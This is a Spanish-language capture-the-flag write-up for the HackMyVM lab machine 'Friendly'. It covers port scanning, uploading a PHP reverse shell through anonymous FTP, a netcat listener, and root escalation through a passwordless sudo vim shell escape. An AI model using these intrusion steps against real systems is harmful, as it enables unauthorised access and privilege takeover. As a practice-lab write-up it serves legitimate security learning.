WriteUp de la máquina Friendly
Este WriteUp documenta la solución para la máquina “Friendly” de HackMyVM. A través de varias etapas de reconocimiento, explotación y elevación de privilegios, el objetivo es obtener acceso a la máquina y escalar privilegios para convertirnos en el usuario root.
Progreso del WriteUp
Reconocimiento inicial
No fue necesario realizar un escaneo para identificar la dirección IP, ya que la máquina Friendly mostraba directamente la IP local que estaba usando. Procedí a realizar un escaneo completo de puertos utilizando nmap
:
nmap -p- --open -sC -sS -sV --min-rate=5000 -n -vvv -Pn 192.168.1.10 -oN friendly
El resultado del escaneo mostró:
PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack ttl 64 ProFTPD
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r-- 1 root root 10725 Feb 23 2023 index.html
|_-rw-r--r-- 1 ftp nogroup 2995 Mar 17 15:22 pwned-friendly.php
80/tcp open http syn-ack ttl 64 Apache httpd 2.4.54 ((Debian))
| http-methods:
|_ Supported Methods: OPTIONS HEAD GET POST
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.54 (Debian)
Resultado: Se detectaron dos servicios importantes:
- Puerto 21: Servicio FTP ProFTPD abierto con acceso anónimo.
- Puerto 80: Servicio HTTP con Apache.
Explotación
Me conecté al servicio FTP utilizando el acceso anónimo:
ftp 192.168.1.10
Conectado al servidor FTP, ejecuté un dir
para listar los archivos disponibles. Encontré dos archivos interesantes: index.html
y pwned-friendly.php
. Descargué ambos a mi máquina local:
get index.html
get pwned-friendly.php
Al revisar el archivo pwned-friendly.php
, me di cuenta de que contenía una reverse shell. Modifiqué el archivo para añadir mi dirección IP local y luego lo volví a subir al servidor FTP.
Luego de esto, me coloqué a la escucha utilizando netcat
:
nc -lnvp 443
Finalmente, al acceder al archivo pwned-friendly.php
desde el navegador, conseguí ejecutar la shell reversa y obtener acceso a la máquina. No obstante, la conexión no era estable, por lo que decidí utilizar la reverse shell de PHP PentestMonkey.
Después de modificar el contenido del archivo pwned-friendly.php
con la shell de PentestMonkey y volver a subirlo, logré obtener una conexión más estable.
Una vez dentro, navegué hacia el directorio /home
y encontré un directorio llamado RiJaba1
. Allí se encontraba el archivo user.txt
que contenía la primera bandera.
Bandera de usuario capturada:
cat user.txt
Escalada de privilegios
Para elevar privilegios, ejecuté sudo -l
y descubrí que el usuario podía ejecutar vim
como root sin necesidad de contraseña:
User RiJaba1 may run the following commands on friendly:
(root) NOPASSWD: /usr/bin/vim
Me dirigí a GTFOBins para encontrar una forma de usar vim
para escalar privilegios. La solución fue ejecutar el siguiente comando:
sudo vim -c ':!/bin/sh'
Resultado: Logré obtener acceso como root. Luego, me dirigí a la carpeta /root
esperando encontrar la bandera de root (root.txt
). Sin embargo, no estaba allí. En su lugar, encontré una pista que indicaba utilizar find
para buscar la bandera.
find / -name root.txt 2>/dev/null
El comando find
reveló que la bandera de root se encontraba en el directorio /var/log/apache2/
. Una vez allí, ejecuté:
cat /var/log/apache2/root.txt
Bandera de root capturada.
Aprendizaje
La máquina Friendly fue un buen ejercicio para practicar el uso de servicios FTP anónimos y para aprender a usar herramientas como GTFOBins
para escalar privilegios. También destacó la importancia de buscar pistas adicionales cuando el camino hacia la bandera de root no es el esperado.
Comandos
- Escaneo de puertos:
nmap -p- --open -sC -sS -sV --min-rate=5000 -n -vvv -Pn 192.168.1.10 -oN friendly
- Conexión al servicio FTP:
ftp 192.168.1.10
- Descarga de archivos desde FTP:
get index.html get pwned-friendly.php
- Modificación de la reverse shell:
nano pwned-friendly.php
- Colocarse a la escucha con
netcat
:nc -lnvp 443
- Acceso como root usando
vim
:sudo vim -c ':!/bin/sh'
- Buscar la bandera de root con
find
:find / -name root.txt 2>/dev/null
- Captura de la bandera de root:
cat /var/log/apache2/root.txt